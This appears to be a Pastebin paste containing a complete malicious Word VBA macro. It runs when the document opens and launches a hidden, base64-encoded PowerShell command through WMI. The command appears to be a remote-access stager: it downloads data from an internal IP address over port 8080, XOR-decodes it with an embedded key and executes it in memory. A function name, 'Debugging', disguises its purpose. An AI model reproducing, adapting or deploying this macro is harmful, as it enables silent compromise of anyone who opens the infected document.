Pastebin
Paste #4942: tst
< previous paste - next paste>
Pasted by tst
Sub AutoOpen()
Debugging
End Sub
Sub Document_Open()
Debugging
End Sub
Public Function Debugging() As Variant
Dim Str As String
str = "powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBT"
str = str + "AHkAcwB0AEUATQAuAE4AZQB0AC4AUwBlAHIAVgBpAEMARQBQAE"
str = str + "8AaQBuAFQATQBBAG4AYQBHAEUAcgBdADoAOgBFAHgAcABFAEMA"
str = str + "dAAxADAAMABDAG8ATgB0AGkATgB1AEUAIAA9ACAAMAA7ACQAVw"
str = str + "BjAD0ATgBlAHcALQBPAEIASgBlAGMAVAAgAFMAeQBTAHQAZQBt"
str = str + "AC4ATgBFAFQALgBXAGUAQgBDAGwAaQBFAG4AVAA7ACQAdQA9AC"
str = str + "cATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8A"
str = str + "dwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVA"
str = str + "ByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAw"
str = str + "ACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAFcAYwAuAE"
str = str + "gARQBhAGQAZQBSAFMALgBBAEQARAAoACcAVQBzAGUAcgAtAEEA"
str = str + "ZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAYwAuAFAAUgBPAFgAeQ"
str = str + "AgAD0AIABbAFMAWQBzAFQAZQBNAC4ATgBFAFQALgBXAGUAYgBS"
str = str + "AEUAcQB1AEUAcwBUAF0AOgA6AEQARQBGAGEAdQBsAHQAVwBlAE"
str = str + "IAUAByAE8AWAB5ADsAJABXAGMALgBQAHIATwBYAHkALgBDAFIA"
str = str + "ZQBkAGUAbgB0AEkAQQBMAHMAIAA9ACAAWwBTAHkAUwBUAEUAbQ"
str = str + "AuAE4ARQB0AC4AQwBSAGUARABFAG4AdABJAEEAbABDAEEAQwBI"
str = str + "AGUAXQA6ADoARABlAGYAQQBVAGwAVABOAEUAdAB3AG8AUgBLAE"
str = str + "MAUgBFAEQAZQBuAFQAaQBhAGwAcwA7ACQASwA9ACcAbABnADAA"
str = str + "fQBUAF4ALABOAHcAcwA5AEQAOwAzAFoATQBjAEkAeQB+ACMARQ"
str = str + "BcAC0ARwA1AGEAUgB8AGsAKwBdACcAOwAkAEkAPQAwADsAWwBj"
str = str + "AEgAQQBSAFsAXQBdACQAYgA9ACgAWwBDAGgAYQBSAFsAXQBdAC"
str = str + "gAJABXAEMALgBEAE8AVwBOAEwATwBhAEQAUwBUAHIASQBuAGcA"
str = str + "KAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADUAMw"
str = str + "AuADEANwAyADoAOAAwADgAMAAvAGkAbgBkAGUAeAAuAGEAcwBw"
str = str + "ACIAKQApACkAfAAlAHsAJABfAC0AQgBYAG8AUgAkAGsAWwAkAE"
str = str + "kAKwArACUAJABrAC4ATABlAE4AZwB0AEgAXQB9ADsASQBFAFgA"
str = str + "IAAoACQAYgAtAGoAbwBpAE4AJwAnACkA"
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create str, Null, objConfig, intProcessID
End Function
New Paste
Go to most recent paste.